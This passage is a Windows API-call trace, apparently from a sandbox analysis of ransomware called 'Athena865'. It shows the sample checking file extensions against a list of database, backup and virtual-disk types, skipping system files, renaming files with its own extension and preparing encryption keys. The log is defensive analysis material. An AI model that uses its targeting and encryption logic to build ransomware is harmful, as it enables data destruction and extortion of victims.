(lpString="ddl") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0099.342] lstrlenW (lpString="dlis") returned 4 [0099.342] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0099.342] lstrlenW (lpString="dp1") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0099.343] lstrlenW (lpString="dqy") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0099.343] lstrlenW (lpString="dsk") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0099.343] lstrlenW (lpString="dsn") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0099.343] lstrlenW (lpString="dtsx") returned 4 [0099.343] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0099.343] lstrlenW (lpString="dxl") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0099.343] lstrlenW (lpString="eco") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0099.343] lstrlenW (lpString="ecx") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0099.343] lstrlenW (lpString="edb") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0099.343] lstrlenW (lpString="epim") returned 4 [0099.343] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0099.343] lstrlenW (lpString="fcd") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0099.343] lstrlenW (lpString="fdb") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0099.343] lstrlenW (lpString="fic") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0099.343] lstrlenW (lpString="flexolibrary") returned 12 [0099.343] lstrcmpiW (lpString1="Reader X.lnk", lpString2="flexolibrary") returned 1 [0099.343] lstrlenW (lpString="fm5") returned 3 [0099.343] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0099.344] lstrlenW (lpString="fmp") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0099.344] lstrlenW (lpString="fmp12") returned 5 [0099.344] lstrcmpiW (lpString1="X.lnk", lpString2="fmp12") returned 1 [0099.344] lstrlenW (lpString="fmpsl") returned 5 [0099.344] lstrcmpiW (lpString1="X.lnk", lpString2="fmpsl") returned 1 [0099.344] lstrlenW (lpString="fol") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0099.344] lstrlenW (lpString="fp3") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0099.344] lstrlenW (lpString="fp4") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0099.344] lstrlenW (lpString="fp5") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0099.344] lstrlenW (lpString="fp7") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0099.344] lstrlenW (lpString="fpt") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0099.344] lstrlenW (lpString="frm") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0099.344] lstrlenW (lpString="gdb") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.344] lstrlenW (lpString="gdb") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.344] lstrlenW (lpString="grdb") returned 4 [0099.344] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0099.344] lstrlenW (lpString="gwi") returned 3 [0099.344] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0099.345] lstrlenW (lpString="hdb") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0099.345] lstrlenW (lpString="his") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0099.345] lstrlenW (lpString="ib") returned 2 [0099.345] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0099.345] lstrlenW (lpString="idb") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0099.345] lstrlenW (lpString="ihx") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0099.345] lstrlenW (lpString="itdb") returned 4 [0099.345] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0099.345] lstrlenW (lpString="itw") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0099.345] lstrlenW (lpString="jet") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0099.345] lstrlenW (lpString="jtx") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0099.345] lstrlenW (lpString="kdb") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0099.345] lstrlenW (lpString="kexi") returned 4 [0099.345] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0099.345] lstrlenW (lpString="kexic") returned 5 [0099.345] lstrcmpiW (lpString1="X.lnk", lpString2="kexic") returned 1 [0099.345] lstrlenW (lpString="kexis") returned 5 [0099.345] lstrcmpiW (lpString1="X.lnk", lpString2="kexis") returned 1 [0099.345] lstrlenW (lpString="lgc") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0099.345] lstrlenW (lpString="lwx") returned 3 [0099.345] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0099.346] lstrlenW (lpString="maf") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0099.346] lstrlenW (lpString="maq") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0099.346] lstrlenW (lpString="mar") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0099.346] lstrlenW (lpString="marshal") returned 7 [0099.346] lstrcmpiW (lpString1="r X.lnk", lpString2="marshal") returned 1 [0099.346] lstrlenW (lpString="mas") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0099.346] lstrlenW (lpString="mav") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0099.346] lstrlenW (lpString="maw") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0099.346] lstrlenW (lpString="mdbhtml") returned 7 [0099.346] lstrcmpiW (lpString1="r X.lnk", lpString2="mdbhtml") returned 1 [0099.346] lstrlenW (lpString="mdn") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0099.346] lstrlenW (lpString="mdt") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0099.346] lstrlenW (lpString="mfd") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0099.346] lstrlenW (lpString="mpd") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0099.346] lstrlenW (lpString="mrg") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0099.346] lstrlenW (lpString="mud") returned 3 [0099.346] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0099.346] lstrlenW (lpString="mwb") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0099.347] lstrlenW (lpString="myd") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0099.347] lstrlenW (lpString="ndf") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0099.347] lstrlenW (lpString="nnt") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0099.347] lstrlenW (lpString="nrmlib") returned 6 [0099.347] lstrcmpiW (lpString1=" X.lnk", lpString2="nrmlib") returned -1 [0099.347] lstrlenW (lpString="ns2") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0099.347] lstrlenW (lpString="ns3") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0099.347] lstrlenW (lpString="ns4") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0099.347] lstrlenW (lpString="nsf") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0099.347] lstrlenW (lpString="nv") returned 2 [0099.347] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0099.347] lstrlenW (lpString="nv2") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0099.347] lstrlenW (lpString="nwdb") returned 4 [0099.347] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0099.347] lstrlenW (lpString="nyf") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0099.347] lstrlenW (lpString="odb") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.347] lstrlenW (lpString="odb") returned 3 [0099.347] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.347] lstrlenW (lpString="oqy") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0099.348] lstrlenW (lpString="ora") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0099.348] lstrlenW (lpString="orx") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0099.348] lstrlenW (lpString="owc") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0099.348] lstrlenW (lpString="p96") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0099.348] lstrlenW (lpString="p97") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0099.348] lstrlenW (lpString="pan") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0099.348] lstrlenW (lpString="pdb") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0099.348] lstrlenW (lpString="pdm") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0099.348] lstrlenW (lpString="pnz") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0099.348] lstrlenW (lpString="qry") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0099.348] lstrlenW (lpString="qvd") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0099.348] lstrlenW (lpString="rbf") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0099.348] lstrlenW (lpString="rctd") returned 4 [0099.348] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0099.348] lstrlenW (lpString="rod") returned 3 [0099.348] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0099.349] lstrlenW (lpString="rodx") returned 4 [0099.349] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0099.349] lstrlenW (lpString="rpd") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0099.349] lstrlenW (lpString="rsd") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0099.349] lstrlenW (lpString="sas7bdat") returned 8 [0099.349] lstrcmpiW (lpString1="er X.lnk", lpString2="sas7bdat") returned -1 [0099.349] lstrlenW (lpString="sbf") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0099.349] lstrlenW (lpString="scx") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0099.349] lstrlenW (lpString="sdb") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0099.349] lstrlenW (lpString="sdc") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0099.349] lstrlenW (lpString="sdf") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0099.349] lstrlenW (lpString="sis") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0099.349] lstrlenW (lpString="spq") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0099.349] lstrlenW (lpString="te") returned 2 [0099.349] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0099.349] lstrlenW (lpString="teacher") returned 7 [0099.349] lstrcmpiW (lpString1="r X.lnk", lpString2="teacher") returned -1 [0099.349] lstrlenW (lpString="tmd") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0099.349] lstrlenW (lpString="tps") returned 3 [0099.349] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0099.350] lstrlenW (lpString="trc") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.350] lstrlenW (lpString="trc") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.350] lstrlenW (lpString="trm") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0099.350] lstrlenW (lpString="udb") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0099.350] lstrlenW (lpString="udl") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0099.350] lstrlenW (lpString="usr") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0099.350] lstrlenW (lpString="v12") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0099.350] lstrlenW (lpString="vis") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0099.350] lstrlenW (lpString="vpd") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0099.350] lstrlenW (lpString="vvv") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0099.350] lstrlenW (lpString="wdb") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0099.350] lstrlenW (lpString="wmdb") returned 4 [0099.350] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0099.350] lstrlenW (lpString="wrk") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0099.350] lstrlenW (lpString="xdb") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0099.350] lstrlenW (lpString="xld") returned 3 [0099.350] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0099.351] lstrlenW (lpString="xmlff") returned 5 [0099.351] lstrcmpiW (lpString1="X.lnk", lpString2="xmlff") returned -1 [0099.351] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Adobe Reader X.lnk.Athena865") returned 63 [0099.351] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\start menu\\programs\\adobe reader x.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Adobe Reader X.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\adobe reader x.lnk.athena865"), dwFlags=0x1) returned 1 [0099.352] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Adobe Reader X.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\adobe reader x.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.352] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2441) returned 1 [0099.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.353] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.353] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.353] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.354] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc90, lpName=0x0) returned 0x154 [0099.355] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc90) returned 0x100000 [0099.356] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.356] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.357] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.357] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.357] CloseHandle (hObject=0x154) returned 1 [0099.357] CloseHandle (hObject=0x17c) returned 1 [0099.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.358] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0099.358] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0099.359] lstrlenW (lpString="desktop.ini") returned 11 [0099.359] lstrcpyW (in: lpString1=0x241e88e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0099.359] lstrlenW (lpString="desktop.ini") returned 11 [0099.359] lstrlenW (lpString="Athena865") returned 9 [0099.359] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0099.359] lstrlenW (lpString=".dll") returned 4 [0099.359] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0099.359] lstrlenW (lpString=".lnk") returned 4 [0099.359] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0099.359] lstrlenW (lpString=".ini") returned 4 [0099.359] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0099.359] lstrlenW (lpString=".sys") returned 4 [0099.359] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0099.359] lstrlenW (lpString="desktop.ini") returned 11 [0099.359] lstrlenW (lpString="bak") returned 3 [0099.359] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0099.359] lstrlenW (lpString="ba_") returned 3 [0099.359] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0099.359] lstrlenW (lpString="dbb") returned 3 [0099.359] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0099.359] lstrlenW (lpString="vmdk") returned 4 [0099.359] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0099.359] lstrlenW (lpString="rar") returned 3 [0099.359] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0099.359] lstrlenW (lpString="zip") returned 3 [0099.359] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0099.359] lstrlenW (lpString="tgz") returned 3 [0099.359] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0099.360] lstrlenW (lpString="vbox") returned 4 [0099.360] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0099.360] lstrlenW (lpString="vdi") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0099.360] lstrlenW (lpString="vhd") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0099.360] lstrlenW (lpString="vhdx") returned 4 [0099.360] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0099.360] lstrlenW (lpString="avhd") returned 4 [0099.360] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0099.360] lstrlenW (lpString="db") returned 2 [0099.360] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0099.360] lstrlenW (lpString="db2") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0099.360] lstrlenW (lpString="db3") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0099.360] lstrlenW (lpString="dbf") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0099.360] lstrlenW (lpString="mdf") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0099.360] lstrlenW (lpString="mdb") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0099.360] lstrlenW (lpString="sql") returned 3 [0099.360] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0099.360] lstrlenW (lpString="sqlite") returned 6 [0099.360] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0099.360] lstrlenW (lpString="sqlite3") returned 7 [0099.360] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0099.360] lstrlenW (lpString="sqlitedb") returned 8 [0099.360] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0099.360] lstrlenW (lpString="xml") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0099.361] lstrlenW (lpString="$er") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0099.361] lstrlenW (lpString="4dd") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0099.361] lstrlenW (lpString="4dl") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0099.361] lstrlenW (lpString="^^^") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0099.361] lstrlenW (lpString="abs") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0099.361] lstrlenW (lpString="abx") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0099.361] lstrlenW (lpString="accdb") returned 5 [0099.361] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0099.361] lstrlenW (lpString="accdc") returned 5 [0099.361] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0099.361] lstrlenW (lpString="accde") returned 5 [0099.361] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0099.361] lstrlenW (lpString="accdr") returned 5 [0099.361] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0099.361] lstrlenW (lpString="accdt") returned 5 [0099.361] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0099.361] lstrlenW (lpString="accdw") returned 5 [0099.361] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0099.361] lstrlenW (lpString="accft") returned 5 [0099.361] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0099.361] lstrlenW (lpString="adb") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0099.361] lstrlenW (lpString="adb") returned 3 [0099.361] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0099.361] lstrlenW (lpString="ade") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0099.362] lstrlenW (lpString="adf") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0099.362] lstrlenW (lpString="adn") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0099.362] lstrlenW (lpString="adp") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0099.362] lstrlenW (lpString="alf") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0099.362] lstrlenW (lpString="ask") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0099.362] lstrlenW (lpString="btr") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0099.362] lstrlenW (lpString="cat") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0099.362] lstrlenW (lpString="cdb") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0099.362] lstrlenW (lpString="ckp") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0099.362] lstrlenW (lpString="cma") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0099.362] lstrlenW (lpString="cpd") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0099.362] lstrlenW (lpString="dacpac") returned 6 [0099.362] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0099.362] lstrlenW (lpString="dad") returned 3 [0099.362] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0099.362] lstrlenW (lpString="dadiagrams") returned 10 [0099.362] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0099.362] lstrlenW (lpString="daschema") returned 8 [0099.362] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0099.362] lstrlenW (lpString="db-journal") returned 10 [0099.363] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0099.363] lstrlenW (lpString="db-shm") returned 6 [0099.363] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0099.363] lstrlenW (lpString="db-wal") returned 6 [0099.363] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0099.363] lstrlenW (lpString="dbc") returned 3 [0099.363] lstrcmpiW (lpString1="ini", 